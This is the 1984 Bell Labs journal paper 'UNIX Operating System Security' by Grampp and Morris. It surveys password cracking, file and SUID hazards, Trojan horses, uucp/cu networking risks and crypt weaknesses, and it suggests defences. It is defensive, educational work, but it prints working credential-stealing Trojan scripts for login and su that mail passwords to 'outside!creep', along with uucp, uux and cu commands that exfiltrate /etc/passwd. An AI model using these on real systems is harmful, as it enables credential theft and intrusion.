AT&T Bell Laboratories Technical Journal
Vol. 63, No. 8, October 1984
Printed in U.S.A.

The UNIX *System*

UNIX Operating System Security

By F. T. GRAMPP* and R. H. MORRIS*

(Manuscript received February 7, 1984)

Computing systems that are easy to access and that facilitate communication with other systems are by their nature difficult to secure. Most often, though, the level of security that is actually achieved is far below what it could be. This is due to many factors, the most important of which are the knowledge and attitudes of the administrators and users of such systems. We discuss here some of the security hazards of the *UNIX*™ operating system, and we suggest ways to protect against them, in the hope that an educated community of users will lead to a level of protection that is stronger, but far more importantly, that represents a reasonable and thoughtful balance between security and ease of use of the system. We will not construct parallel examples for other systems, but we encourage readers to do so for themselves.

I. INTRODUCTION

This paper is aimed primarily at a technical audience and, for that very reason, its usefulness as a tutorial for increased computer system security is diminished. By far, the most important handles to computer security and, indeed, to information security, generally, are:

- Physical control of one's premises and computer facilities
- Management commitment to security objectives
- Education of employees as to what is expected of them

* AT&T Bell Laboratories.

- The existence of administrative procedures aimed at increased security.

Unless each of these basics is in place, all of the technical solutions, the special hardware, the software safeguards, and the like are utterly meaningless. We will not address these issues to any great extent in this paper, but we mean to stress our firm conviction that no level of security whatever can be achieved without them.

In discussing the status of security on the various versions of the *UNIX* operating system, we will try to place our observations in a wider context than just the *UNIX* system or one particular version of the *UNIX* system. *UNIX* system security is neither better nor worse than that of other systems. Any system that provides the same facilities as the *UNIX* system will necessarily have similar hazards. From its inception, the *UNIX* system was designed to be user friendly, and most decisions that pitted security against ease of use were heavily weighted in favor of ease of use. The result has been that the *UNIX* system has become a fertile test bed for the development of reasonable security procedures that interfere to the minimum possible extent with ease of use.

The major weakness of any information system such as the *UNIX* system resides in the habits and attitudes of the user community. Naiveté and carelessness will produce awful security under almost any conditions.

It is easy to run a secure computer system. You merely have to disconnect all dial-up connections and permit only direct-wired terminals, put the machine and its terminals in a shielded room, and post a guard at the door. There are in fact many examples of *UNIX* systems that are run under exactly these conditions, principally systems that contain classified or sensitive defense information.

There are a number of options, implemented either in hardware or in software, that provide a measure of security that is almost this good. Examples are systems that only respond to a dial-up call by calling back on a preassigned number. Many commercially available operating systems make it essentially impossible to create or install any user software or application software without administrative help; some other systems make it virtually impossible to read files belonging to another user, even when the users want to cooperate in their work. All these measures work by restricting access to the system and by reducing the powers that the system gives it users. The *UNIX* system was designed to increase, not decrease, the power and flexibility available to its users. It was designed to be easily accessible and to facilitate communication within its user community. Most *UNIX* systems, not surprisingly, are of the dial-up variety. They provide their users with a general programming ability—to create, install, and

use their own programs. All but a few of their files are at least readable by anybody, and most such systems have access to thousands of other systems via remote mail and file transfer facilities. That is, they use the *UNIX* system as its creators intended it to be used.

Such open systems cannot ever be made secure in any strong sense; that is, they are unfit for applications involving classified government information, corporate accounting, records relating to individual privacy, and the like. Security, though, is not an absolute matter; there are tolerable levels of insecurity and there are balances to be struck, not only between security and accessibility but also between the cost of security measures and the risk or exposure associated with the information being protected. By homely analogy, most family silverware is stored in a cabinet in a house with a lockable door. It is not stored in a box on the front lawn for obvious reasons, but neither is it stored in a bank vault, where it would be much safer than at home, but where it could not easily be used and enjoyed. The insecurity of keeping it at home is both tolerable and appropriate. (Neither of the authors, by the way, keeps any silver in his home.) More homely yet as an example, the notion that firewood, though a commodity of considerable value, might be stored in a bank vault is simply ludicrous. The same balances are appropriate when it is information that is being protected.

Most *UNIX* systems are far less secure than they can and should be. This unwarranted insecurity is largely caused by complacency and by the use of concealment as a security measure. The administrators do not want word of security problems to be circulated. The bad guys agree, but for different reasons. This attitude produces an unhealthy situation in which administrators and users alike are uninformed about security issues. Much silverware is left on the lawn, and only the bad guys are well informed about the exposure and the risks.

Concealment is not security. The intent of this article is to survey at least the better-known security hazards associated with the *UNIX* system, and to suggest ways in which security can be improved without greatly diminishing the usefulness of the system to its authorized users.

Topics to be covered are:

1. The insecure nature of passwords
2. Protection of files
3. Special privileges and responsibilities of administrators
4. Burglary tools, and protection against them
5. Networking hazards
6. Data encryption.

All these will be discussed in the context of a community of users who are largely naive about security issues.

There is nothing in the above list that is specific to the *UNIX* system. All of the problems that will be discussed here are system-dependent instances of far more general problems that appear in other forms on other systems. It is inappropriate to construct parallel exhibits from other systems here, but readers might find it rewarding to do this themselves.

Finally, there was more than a little trepidation about publishing this article. There is a fine line between helping administrators protect their systems and providing a cookbook for bad guys. The consensus of the authors and reviewers is that the information presented here is well known: the bad guys know it well, and a more favorable distribution of this knowledge is desirable.

II. PASSWORD SECURITY

The most important, and usually the only, barrier to the unauthorized use of a *UNIX* system is the password that a user must type in order to gain access to the system. Much attention has been paid to making the *UNIX* password scheme as secure as possible against would-be intruders.[1] The result is a password file in which only encrypted passwords are kept. A person logging into the system is asked for a password. The password is then encrypted with a one-way transformation, and compared to the encrypted password previously stored in the file. Access is permitted only if the two match. An advantage of this system of password control is that there is no record anywhere of the user's password.

No method appears to be known to extract a user's password from the encrypted version that is stored. The one-way encryption has proven to be good enough to thwart a brute-force attack. In practice it is easy to write programs that are extremely successful at extracting passwords from password files, and that are also very economical to run. They operate, however, by an indirect method that amounts to guessing what a user's password might be, and then trying over and over until the correct one is found.

Such programs are commonly called *password crackers.* They were virtually unknown five years ago, but are widely known today. They work by encrypting a good guess as to what a person's password might be, and comparing this with the encrypted password in the file. Good guesses can be made without any personal knowledge of the people listed in the password file since the file itself provides clues. Each line therein contains, in addition to the encrypted password, the user's login name, home directory, login shell, and, perhaps, some comments.

The most important clue is the login name. People who are naive about security issues very often use login names or variants thereof as passwords. For example, if the login name is `abc`, then `abc`, `cba`, and

`abcabc` are excellent candidates for passwords. Experiments involving over one hundred password files have shown that a program that uses only these three guesses requires several minutes of minicomputer time to process a typical password file, and can be counted on to deliver between 8 and 30 percent of the passwords in cases where neither users nor system administrators have been security-conscious.

Other clues can also be had from the password file. There is a *comments* field that is used in most systems to provide information about a user. It usually contains things like surname, given name, address, telephone number, project name, and so on, all of which can be extremely rewarding to try.

Finally, if an intruder knows something about the people using a machine, a whole new set of candidates is available. Family and friends' names, auto registration numbers, hobbies, and pets are particularly productive categories to try interactively in the unlikely event that a purely mechanical scan of the password file turns out to be disappointing.

Once the hazards are known, remedial steps can be taken to bolster password security. The following are known to be helpful:

1. Make it difficult for outsiders to obtain a copy of a machine's password file. An intruder who is denied a copy of the file must resort to dialing into the target machine and making guesses interactively via the normal login sequence. This takes much more time than simply running a cracker program on one's own machine. Actual login attempts are likely to be expensive, and greatly increase the chance that the intrusion attempt will be discovered by audit software. There is, of course, little that can be done to prevent a malicious insider from shipping the file out the door; but at least steps should be taken so that an outsider cannot use networking arrangements to cause the password file to be shipped out in a response to a request from outside.

2. Remove the encrypted passwords from the password file and place them in a parallel file that is unreadable to the general public and to networking programs like `uucp`. A considerate touch here is to replace the encrypted fields in the password file with random strings of the proper length and in the alphabet of encrypted passwords. This has the potential for not interfering with legitimate programs that might use the file, and wasting large amounts of an intruder's time.

3. Likewise, keep the comment field elsewhere. Besides removing useful clues, this has the benign side effect of shortening the password file considerably, thereby speeding up programs like `ls` that search it sequentially.

4. Modify the `passwd` program to prevent users from installing easily derivable passwords such as `abcabc`.

5. Educate users about bad passwords and good passwords. One

recipe for good passwords is to pick some common word that is easily remembered but in no way associated with its owner and then to botch it in some way so that it will not be found in a dictionary (e.g., by misspelling it, adding punctuation, and so on). An alternative approach is to assign passwords to users, rather than letting them choose their own. Both methods have weaknesses. Left to their own ways, some people will still use cute doggie names as passwords. What is far more serious is that if randomly generated passwords are assigned, most people will write them down somewhere, often in very obvious places. The former approach seems to be the safer.

It takes continuing ingenuity to keep up with prevailing silly practices in choosing passwords. Several years ago, new software was distributed that required all new passwords to contain at least six characters and at least one nonalphabetic character. (In fact, it rejected both purely alphabetic and purely numeric passwords.) The authors made a survey of several dozen local machines, using as trial passwords a collection of the 20 most common female first names, each followed by a single digit. The total number of passwords tried was, therefore, 200. At least one of these 200 passwords turned out to be a valid password on every machine surveyed.

III. FILES AND FILE SYSTEMS

Every file in a *UNIX* file system has associated with it a set of permissions that specifies who can access the file and how. The permissions are kept in a 9-bit field that is part of a variable called *mode*, which is part of a larger structure called an *i-node*, which describes the file. There is a one-to-one correspondence between files and i-nodes. (To simplify matters, no distinction will be made between ordinary files, directories, and special files, unless a distinction is needed.)

The permission bits specify read, write, and execute permissions for the owner of the file, others in the owner's group, and everybody else. In *UNIX* software and writings about it, the permissions field is most often presented as either a three-digit octal number or a nine-character string. For example, the mode of a file that can be read, written, or executed by its owner, read and executed by members of the owner's group, and read by everybody else would be 754 or `rwxr-xr--`. Both notations will be used here, as appropriate.

The algorithm used to determine permissions is this:

```
if(user is owner){
   if(permissions are set) it's ok
   else quit.
```

```
}
if(user is in owner's group){
   if(permissions are set) it's ok
   else quit.
}
if(permissions are set) it's ok.
```

Note especially that the algorithm does not look for all possible conditions, in a hierarchical sense, in which a user might have access to a file. This is done so that a person can create a file whose access permissions are not "kept in the family." For instance, a file whose mode is set to 007 (------rxw) can be read, written, and executed by anyone except its owner and members of its owner's group.

All such permission checking is bypassed if the user is the super-user.

We must mention two additional things about directories. First, since a directory cannot be executed, the bits that would be used to specify execute permissions are instead used to specify search permissions, that is, the ability to climb into a directory or to use it as a component of a path name. Second, underlying directory permissions can adversely affect the safety of seemingly protected files. Suppose that `d` is a directory whose mode is 730 that contains a file `f` of mode 644, that both `d` and `f` have the same owner and group, and that `f` contains the text *something*. Disregarding the super-user, no one besides the owner of `f` can change its contents, since only the owner has write permission. Notice, though, that anyone in the owner's group has write permission for `d`, so that any such person can remove `f` from `d` and install a different version:

```
rm d/f
echo something else >d/f
```

which for most purposes is the equivalent of being able to modify `f`. Further, had `f` been a directory rather than a file, the same person could have moved it (and all of its contents) elsewhere and replaced it with an entirely new structure. Thus, to ensure that a file cannot be modified, it is necessary that

1. The file itself must be write-protected.
2. The directory containing it, and all lower directories, must be similarly protected.
3. Group permissions must be considered. This last is especially important if most of the users of a system are in the same group, as is the default case on most *UNIX* systems.

The mode of an existing file can be changed with the `chmod` command, or, from a C program, by using the system call of the same name. The ownership of a file is changed by using the `chown` command

and system call. Some versions of *UNIX* restrict `chown` to the super-user. Others also permit the owner of a file to give it away to someone else. The latter convention provides an opportunity for fraud on systems whose users are charged for their disk space, but there is also a subtler problem that will be discussed in the next section.

Finally, when a file is created, it is given the owner and group IDs of the user who created it, and a mode that corresponds to an argument of the `creat` or `open` system call, modified by a user-supplied parameter called a `umask`. This parameter is also a 9-bit field, each of whose bits specifies that the corresponding permission bit not be set, i.e., the resulting permission field is the logical and of the file creation mask and the one's complement of the `umask`. A user's `umask` is set to some default value at login time, and can subsequently be modifed by the user via the `umask` command or system call. Simple prudence about accident protection suggests a default `umask` of 022, which makes files unwritable except by their owners.

The tree of directories and files that makes up a *UNIX* file system is just a logical structure that is mapped onto a physical device—a disk—in order to make it easy for people to use the disk. If the physical disk can be written or read, so can any file in the file system that resides on the disk. All that is needed is a little knowledge and effort. It follows then that the special files that permit access to the physical disk should be accessible only to the super-user if file protections are to be worth much. In practice, this rule usually is relaxed so that the disks are writable only by the super-user, but that they can also be read by some administrative group.

Finally, access to programs' working storage on a machine is available via the special files `/dev/mem` (memory) and `/dev/kmem` (kernel memory). Write permission for memory allows a process to modify itself in any way, including giving itself super-user privileges. Read permission allows it to inspect things like the standard input and output of other processes. Hence, the same precautions that apply to physical disk access apply here also.

There is more to be said about files and file systems, and more will be said later on, after a few pitfalls have been dissected to provide some background.

IV. SUID PROGRAMS

The *set-userid* (SUID) facility is a novel and useful feature in the *UNIX* system.[2] It allows a program to be constructed in such a way that the individual or group ID, or both, of the user who executes the program is changed temporarily for the duration of the program's execution.

This makes it trivially easy to write programs that would be difficult or impossible to implement on other operating systems. Any user can

set up a game that keeps a score file that is normally protected from others but is open for writing and reading to anyone who is currently playing the game. There are some programs that are similarly easy to write, like `ps`, which shows what is going on in the system (by reading operating system memory locations); `df`, which shows disk utilization (by reading the physical disk); and `passwd`, which lets a user write in the password file to change a password.

Two bits in the mode of a file in which a program is kept determine whether the program will be of the SUID variety. These are kept in an octal digit just to the left of the permission bits. Octal 4xxx changes the user ID to that of the program's owner. Octal 2xxx changes the group ID to that of the owner's group. As with the permissions, these bits are set by `chmod`.

If any user of the system were free to issue the following sequence of commands:

```
cp /bin/sh a.out
chmod 4777 a.out
chown root a.out
```

the result would be a shell that would give super-user privileges to anyone who executed it. The danger is obvious, and is disabled by the design of the `chown` and `chmod` commands and system calls. The disablement takes one of two forms, depending on the version of *UNIX* system.

1. If the version of the *UNIX* system restricts `chown` to the super-user, there is no problem.
2. If the version permits a user to give away files, `chown` first knocks down the SUID bits before changing ownership.

The clear danger is taken care of, but the feature is by no means tame. Over the years it has provided truly horrid security flaws in various versions of the system. Some early versions of the `mail` command, which ran as super-user so as to be able to write in protected mailboxes, could be coaxed to do things like appending lines to the password file. Some versions of `login`, when invoked after all available file descriptors were in use, would log a user in as the super-user. Sending a quit signal to a running SUID program would produce a writable SUID file called `core`, suitable for debugging and other things. The list is long, but the point is made: the SUID facility is a very powerful tool, and like all powerful tools it must be handled with care. Here are some hints about care.

SUID programs should be used only when there is no other way to get a desired result. On most *UNIX* systems, perhaps a dozen SUID programs, excluding games, are really needed. A lax attitude about SUID programs, combined with a 'quick and dirty' programming style,

can produce disasters. As an example, a security audit on a system on which a number of people working on the same project had need to write in each other's files turned up an alarming fact. The people involved knew next to nothing about how to use groups and were too lazy to learn, so they resorted to SUID programs instead. About 200 of these were found. Half of these were owned by the super-user, and most of these were writable by others, including one called `a.out` whose permission field was 777. Unfortunately, such sloppiness is not rare.

It is difficult, when users are writing all but the most trivial programs, to determine in advance that the program will be correct. Programs sometimes do the most amazing things in unforeseen circumstances. When SUID programs are being designed and written, it is particularly important to pay attention to simplicity of function and cleanliness of implementation, since unexpected behavior can easily produce security holes.

Escapes from SUID programs—child processes that are given a shell—are highly unrecommended. If these cannot be avoided, the designer must carefully consider the consequences of inherited files, signals, the shell's environment, and so on. Some systems provide a *restricted shell* whose capabilities are somewhat less than those of the standard shell. The restrictions are useful in reducing the accident rate among data-entry clerks and in similar applications. Using a restricted shell to contain an intruder is rash. Most of these are about as restrictive as childproof bottle caps.

SUID programs that are writable by anyone besides their owners should be considered threatening.

System administrators should verify that the SUID programs that are supplied with the system are clean (i.e., the source has not been tampered with to provide new features, and that the binaries have been compiled from the clean source.) This last precaution is necessary but not sufficient. In Ref. 3, Thompson shows that compilers can be infected so as to modify the code that they compile, without leaving visible traces of the modification in any source code, even that for the compiler. In practice, such compiler viruses are likely to be rare, simply because they require much more skill and effort than other tampering techniques.

V. TROJAN HORSES

A favorite tool of the intruder is the Trojan horse. As the name implies, a *Trojan horse* is a program that an intruder gives to an unsuspecting user of a system. It does what it is obviously supposed to do, but it also quietly performs some malfeasance on behalf of the

intruder. The technique has been around for thousands of years, and it still works splendidly. Here are some modern instances.

Ritchie[4] shows a noncryptanalytic way of finding out passwords as follows: "Write a program which types out `login:` on the typewriter and copies whatever is typed to a file of your own. Then invoke the command and go away until the victim arrives". At first glance, this seems to be a case of some legitimate user of a system coveting a neighbor's password, but in fact there are more interesting applications. Also implied is that the horse must faithfully simulate the nontrivial login command, which is a lot of work. Actually, all that is needed is to simulate an unsuccessful login attempt, as if the user had made a typing mistake, and that is a horse of a different color:

```
echo -n "login: "
read X
stty -echo
echo -n "Password: "
read Y
echo ""
stty echo
echo $X $Y | mail outside!creep&
sleep 1
echo Login incorrect
stty 0 >/dev/tty
```

The shell script is simplicity itself with a few kindnesses added to make its victim feel more at home. It asks for a login name and then a password, mails these to the bad guy, announces failure, and hangs up the phone. The user then dials the computer, gets a real login command, carefully types what is asked for, and goes about business as usual, unaware of the swindle. Note that there was no requirement that the horse be planted on the target machine, and in practice this will likely not be the case.

Once on the target machine, the intruder can use similar horses to acquire the privileges of other users. One of the most frequently used commands on *UNIX* systems is `ls`, which is *UNIX* system shorthand for "tell me some things about these files". The `ls` command can be used in many contexts and with many options, but as was the case with `login`, a trivialized version can give joy to an intruder:

```
>somewhere/.harmless
chmod 6777 somewhere/.harmless
sleep 2
echo "ls: not found"
rm ls
```

It is placed in an executable file named `ls` in any writable directory that the victim will search for commands before looking in `/bin`. When executed, it creates a writable file called `.harmless` in some far corner of the machine, with the SUID bits turned on in the file's permission mask. It then prints `{ls: not found`, erases itself, and exits.

The { is indicative of a noisy telephone line. People are used to it, and will automatically retype a command that gets such a hit. When the command is retyped, the horse is gone, and the real `ls` is executed. Sometime later, the intruder will copy the shell into `.harmless`, execute it, and assume the identity of the victim.

The most desirable identity for the intruder to assume is that of the super-user. System administrators acquire super-user privileges by executing a program called `su`. The `su` command asks for the root password and bestows systemwide privileges to those who type it correctly. A horse named `su`, placed where it will be executed by a system administrator, can usually be relied on to send a gift within hours:

```
stty -echo
echo -n "Password: "
read X
echo ""
stty echo
echo $X | mail outside!creep&
sleep 1
echo Sorry.
rm su
```

Horses like this are easy to make and can be custom-tailored to suit a wide variety of applications. Knowing how they work suggests ways to defend against them, as discussed below.

In order for horses like `ls` and `su` to work, they must be planted in places where they will be executed by their intended victims. The operating system searches for commands in a sequence of directories named in a string called *PATH* that is associated with each user. *PATH* is set each time a user logs in, and may be modified in the course of the terminal session. Typically, it specifies the user's current working directory, perhaps a private directory, `/bin` and `/usr/bin`, usually in that order. If the directories that are searched prior to `/bin` are not writable by the intruder, the horse cannot be planted. Such protection is most important for system administrators. A secondary level of protection can be achieved by having people's `.profile` files unreadable, so that an intruder is not shown the intended victim's initial *PATH* setting. This turns out to be a minor nuisance, and offers

little additional protection, as vulnerable *PATH* components can be deduced in other ways.

Modifying the (real) `su` program so that it insists upon being invoked by a full path name is very effective. The change is trivial—the program needs only to check that the first character of its zeroth argument is /. Legitimate users very quickly fall into the habit of typing `/bin/su` rather than `su`, thereby guaranteeing that the official version gets executed, regardless of whether a horse is nearby. A further recommended change to `su` is that on successful invocation it changes the *PATH* string so that only `/bin` and `/usr/bin` will be searched for commands. This prevents nonstandard versions of commands like `ls` from being executed with super-user privileges.

There is no defense against the login horse except user education. Anyone who walks up to a previously unattended terminal that says "`login:`" and types in the keys to the machine is fair game.

VI. NETWORKING

Several times in the previous discussion it was tacitly assumed that files pertaining to the security of a system—in particular, the password file—might very well be available to an intruder who had not yet managed to penetrate the system. It turns out that the same communications programs that facilitate the exchange of ideas and information among people on different machines can, unless great care is taken, be used to subvert a machine from a safe distance.

The `uucp` program[5] makes it possible to copy files from one *UNIX* system to another, and is the workhorse of *UNIX* networking. Indeed, the ease of information interchange by way of `uucp` and programs like `mail` that use it accounts for much of the usefulness and popularity of the *UNIX* system. The problem with `uucp` is that, if left unrestricted, it will let any outside user execute any commands and copy out or in any file that is readable/writable by a `uucp` login user. It is up to the individual sites to be aware of this and apply the protections that they think are necessary.[6] If the administrator of a site is naive or inattentive, getting a password file from that site can be as easy as typing

```
uucp -m target!/etc/passwd gift
```

to copy the remote machine's password file to a local file called `gift`. (The `-m` option is a convenience, not a necessity. It causes `uucp` to send mail to the intruder when the gift has arrived.) Three years ago, this ploy was almost certain to succeed. Today, many (but not all) systems have restrictions on which files can be accessed and by whom. Typically, they restrict access to a directory reserved for that purpose: `/usr/spool/uucppublic`.

If the direct approach is spurned, `uux` might be tried. The `uux` program is part of the `uucp` system. It causes execution of programs to take place on remote systems. Its main use—in practice, almost its only use—is to start up the mail delivery machinery on a remote system after `uucp` has delivered the mail files to a spooling area. Like `uucp` though, it has full generality built in, and it may be possible to successfully execute a command like:

```
uux "target!cat </etc/passwd >/usr/spool/uucppublic"
```

This copies the password file to the remote machine's spool directory, from which it can later be plucked. Like `uucp`, `uux` may have some restrictions, but there is a difference: to ensure generality, the remote system passes the arguments of `uux` to a shell for interpretation and execution. The far end of a `uucp` transaction needs only to see whether access to some file is legitimate, but the far end of a `uux` transaction must examine the command and its context and decide whether the result will be harmful. The latter is extremely difficult, because the shell, like most other macroinstruction processors, has some very complex quoting conventions deliberately designed to hide certain types of strings until the proper time for their expansion. An intruder with sufficient shell programming experience is likely to succeed here.

Finally, given that neither `uucp` nor `uux` will perform as directed, there is always the option of making a private copy of `uucp`. No special permissions are required, either to run the program or to access the telephone dialers. The private copy can assert that it is calling from anywhere, and there is no way for the called machine to verify the claim. Thus, an intruder stands a good chance of dialing into one of a cluster of friendly machines, masquerading as one of the family, and finding access permissions greatly relaxed.

Another communications program, called `cu`, is especially appealing to intruders. The name `cu` stands for 'call *UNIX*.' It allows a user of a *UNIX* system to call another system, not necessarily a *UNIX* system, and to conduct an interactive session on the remote machine. A typical `cu` session starts like this:

```
$ cu 5551212
Connected
remote
login: user
Password
$ [session from here until ~.]
 ...
 ...
```

Note the sequence of events. The `cu` command is invoked and given the telephone number of the remote machine. A connection is made, and the user is asked for a login name and a password. If these are correctly given, the session proceeds as if the user had manually dialed in. The session ends when the user types a line beginning with "~.".

Consider two machines, one on which very careful attention has been paid to security concerns, and another on which security issues have been utterly neglected. An intruder on the weak machine need only install a horse—a version of `cu` that, in addition to making connections, also copies the first few lines of a session somewhere—to obtain the keys to the strong machine.

It would seem that a good rule to follow with `cu` could be never to use it to get from a weak machine to a stronger machine, but sometimes this is not sufficient. The command `cu` allows escape sequences that are not transmitted to the remote machine, but instead cause certain useful functions to be performed. For example, any line beginning with `~%put` tells `cu` to copy a file from the local machine to the remote; lines beginning with `~%take` cause things to go the other way. Of special interest are lines beginning the `!` that cause commands to be executed on the local machine:

```
~!mail
```

lets a user read mail on the local machine while still connected to the remote.

For some versions of `cu`, the local machine cannot tell how a line was generated when it gets it from the remote machine. It just has a line of text. If the line says

```
~!mail somewhere</etc/passwd
```

it may have been typed deliberately by the user, it may have been written to the user's terminal by a bad guy on the remote machine, or it may have been contained in a file on the remote ~~machine~~ that the user had been printing. The result is the same in any case: the password file is tossed over the wall.

The `ct` command causes a machine to call out to a terminal in order to let that terminal log in to the machine. It is otherwise identical to the `cu` command, but from an intruder's point of view, the target machine gets to pay the phone bill. This reduced cost is counterbalanced by the greatly increased risk of getting caught by audit procedures.

Finally, there are Local Area Networks (LANs). These are arrangements in which some kind of high-speed communications channel is used to connect a cluster of machines that are geographically close to

one another (e.g., a dozen machines in the same building). The intent of an LAN is usually not only to make it easy to share information, but also to provide users of all the machines in the network with handy access to resources (such as typesetters) that are not economical to replicate on each machine.

Unlike `uucp` and `cu`, which are fairly standard, LANs come in many different flavors. It would be unkind and not very useful to dissect some particular LAN here, and trying to cover even the more popular ones would require a long and mostly uninteresting book. The hazards are exactly those of `uucp` and `cu`: remote execution, masquerading, and faulty access permissions. The forms that the attacks will take are of course different.

Security holes in machine-to-machine communications are well known, and sometimes difficult to fix.

No special permissions are inherently required to access communications devices. This makes it possible to obtain a private copy of a communications program and to modify it so that it calls out masquerading as some other machine or some other user. Even if special privileges were required, little would be gained, as the threat is to the remote, as yet uncompromised, machine, not the local machine on which an intruder has presumably already obtained the required permissions.

Given that a remote machine cannot reliably identify its caller, allowing the remote execution of arbitrary commands is a sure way to invite trouble. Remote execution of a shell is deadly, but even an innocuous command like `cat` can be used to an intruder's advantage. The `uucp` program that is used by most *UNIX* machines was not written with security in mind. It can do just about anything, and it is up to the system administrator to restrict its capabilities. The restrictions needed are by no means obvious. The cure is to rewrite `uucp` so that it is able to deliver mail, to copy files to and from spool directories, and to send out data only when it has initiated the connection. We have done this in our research environment some time ago.[7] Other efforts are in progress elsewhere.[8,9]

The `cu` program can be a security disaster. Banning it from a machine or restricting access to devices will do no good at all, for the obvious reasons. The best that can be done is to educate users:

1. Do not use `cu` from a machine that is not trusted.
2. Do not use `cu` to a machine that is not trusted.
3. Do not browse on the remote machine.

(This advice is remarkably similar to that which parents give their children: "Do not go for a ride with a stranger.")

Local area networks should be treated as individual machines for security purposes.

VII. ENCRYPTED FILES

UNIX systems are distributed with a command called `crypt`, which is used to encrypt and decrypt files.[10] Cleartext is supplied as input to the program. A key (the cryptologist's term for a password) is either given on the command line or supplied interactively, and ciphertext is output. The transformation performed by `crypt` is its own inverse, so that using the same key converts ciphertext to cleartext. The `crypt` command is used in many applications, and often very unwisely, as its safety depends on a very large number of factors that are often not considered by naive users. The purpose of this section is to present those facts that ought to be considered, so that the user can make an informed decision about a particular application.

It is possible to decrypt an encrypted file without knowledge of its key. This is hardly surprising, as successful methods of attacking rotor machines have been known for over 50 years.[11] The job can be very time-consuming; it is not just a matter of aiming some magic program at a file of ciphertext and obtaining cleartext. The method is described in detail in a companion paper by Reeds and Weinberger.[12] The amount of work that it takes to decrypt a file varies, depending on what clues are available. For a file of encrypted English text, several hours of work is not atypical.

Decryption of files can be made easy or hard, depending on how `crypt` is used. A one-size-fits-all approach to key selection is a particularly bad idea. It goes without saying that a user's login password, if known, will be tried as a possible key, but there are other problems. If ten files are encrypted with the same key, then all ten files can be decrypted when only one is done. Moreover, having more than one file encrypted with the same key lets a cryptanalyst switch to a different target when guessing at probable text gets hard.

Very frequently, a user of `crypt` will forget to remove a cleartext file after producing an encrypted version. Such cleartext can only be described as 'gold'.

Executable programs (binaries) that have not been stripped of their predictable symbol tables are vulnerable.

Double encryption, that is, passing text through `crypt` twice, makes the job of decryption harder, but not much.

Simple-minded preprocessing schemes, such as exclusive ORing the file with some constant, do not help.

Preprocessing the cleartext so that there is no longer a one-to-one correspondence between clear- and cipher-bytes dramatically weakens the attack. For example, using the `pack` command to get a Huffman-encoded version of the file before passing it through `crypt` ensures that characters will cross byte boundaries, thus rendering byte-oriented decryption techniques useless.

Much more dangerous are the noncryptanalytic attacks. The techniques for guessing passwords are exactly those for guessing keys. And a Trojan horse version of `crypt` can take minutes, not hours for an intruder to install.

Finally, the frequency distribution of the bytes in an encrypted file is uniform. This is so unlike those of other files in the system that such files practically scream for the attention of an intruder. This is well worth remembering.

VIII. MISGUIDED EFFORTS

It is one thing to clean up a system by plugging open holes, and quite another to install security machinery that collects evidence of possible chicanery. The latter can be very useful or very dangerous, depending on how it is done, since it often happens that information that is helpful to system administrators can be just as helpful—or more so—to an intruder. Here are some security tools that can help weaken system security.

8.1 Logging su activity

The `su` command allows a user to assume the identity of any other user (the default being `root`, the super-user) if the password corresponding to the desired new identity is correctly given. As a security measure, most implementations of `su` also append a line to a log file called `sulog`. The line contains a time stamp, the name of the user, the proposed new identity, and a flag showing whether the transformation succeeded. Clearly, this file must be protected from writing by all but the super-user.

Normally, only a small number of people on a given machine are supposed to have super-user privileges, and all of these should be known to the system administrator. Thus, by looking in `sulog` for those who have become `root`, the administrator can get a very short list of names in which a stranger will likely stand out like a sore thumb.

Now consider the plight of an intruder who has just used a borrowed password to break into a strange machine, and who now has the task of locating the important people from among perhaps hundreds in the password file. Fortunately, the important people can be identified readily by their ability to become super-user. Thus, the same technique applied to the same file produces the same list—but now it is a list of horse targets.

This implies that `sulog` had better be unreadable as well as unwritable. Such files are difficult to handle for a variety of reasons. Copies and summaries with relaxed permissions are likely to be owned by the important people.

The `sulog` command thus appears to help both the defenders and the attackers. This would indeed be the case if there were ever a need for an intruder to make an entry in the file. There is no such need. Only the most inexperienced intruder will use the `su` command to try out a guess or a pilfered password. The indirect approach of encrypting the guess and comparing it with the password file entry will provide verification without leaving any tracks. Once sure of a password, the intruder can then use `su`, and just remove the last telltale line from `sulog`.

If `sulog` exists on a machine, no matter how it is protected or what it is called, then there is a potential risk for the administrator but none for the knowledgeable intruder. The way to reverse the score is to keep the tracks off the machine, where they cannot be accessed, even by the super-user. The paper console copy in the machine room is a very good place, especially if the system administrator reads it occasionally.

8.2 Password aging

One of the many problems with passwords is that most people, left unreminded, will keep a password forever. The longer a password is used, the greater the chance that it will become compromised. Also, stolen passwords are useful to their thief for as long as they remain valid.

Most *UNIX* systems are provided with a feature called *password aging*, which, if activated by the system administrator, will cause users of the system to change their passwords every so often. The goal is laudable. The algorithm, however, is bad, and the implementation, from a security standpoint, is just awful. Within systems in which the feature is used, the system administrator assigns, on a user-by-user basis, the length of time that a password can remain valid. The first time that a user whose password has rotted attempts to log into the system, the message: `Your password has expired. Choose a new one` is printed and the user is made to execute the `passwd` command rather than the shell. The `passwd` command prompts for a new password, installs it, and records the time of installation. Further, to prevent a user from changing a password from x to y and then promptly back to x, `passwd` will refuse to change a password that is less than a week old.

Four things are wrong here. First, picking good passwords, while not very difficult, does require a little thought, and the surprise that comes just at login time is likely to preclude this. There is no hard evidence to support this conjecture, but it is a fact that the most incredibly silly passwords tend to be found on systems equipped with password aging.

Second, the user who discovers that the new password is unsound or compromised cannot change it within the week without help from the system administrator.

Third, the feature only forces people to toggle back and forth between two passwords. This is not a great gain in security, especially if it encourages the use of less-than-ideal passwords.

Fourth, as implemented, the date and the lifetime of a password is encoded, not encrypted, just after the encrypted password in the password file. It is easy to write a program that scans a password file and prints out a list of abandoned accounts, together with the length of time each account has been unused. Whether this is a horror or a blessing depends on one's point of view.

The aging of passwords is a difficult problem, yet unsolved.

8.3 Recording unsuccessful login attempts

Some systems record unsuccessful login attempts. The login name, time, and terminal number are stored, but the password used is not, for the obvious reasons. The intent of such logging is to alert the system administrator that an intruder stands at the door making guesses at the key.

One reason that login attempts fail is that people sometimes type a password when asked for a login name. Whether this is due to haste, carelessness, inattention, or sluggish system response during peak hours is not known. What is known is that collecting login names from unsuccessful access attempts will almost invariably collect a few passwords as well, and that any login name thus collected that is not found in the system's password file is almost certainly a password. Finding the match is not difficult.

8.4 Disabling accounts based on unsuccessful logins

Some systems will count the number of consecutive unsuccessful login attempts for a particular user and disable the account after some pain threshold is reached. The magic number is usually three. This ploy has the marginal benefit of annoying would-be intruders who go through the unprofitable exercise of casting spells at the door, hoping it will open. For the intruder who has already gained access to the system, and who wants to get rid of the system administrator, the feature is a blessing:

```
login: guru
password: foo
```

repeated the appropriate number of times will assure the intruder of privacy for at least a little while.

IX. PEOPLE

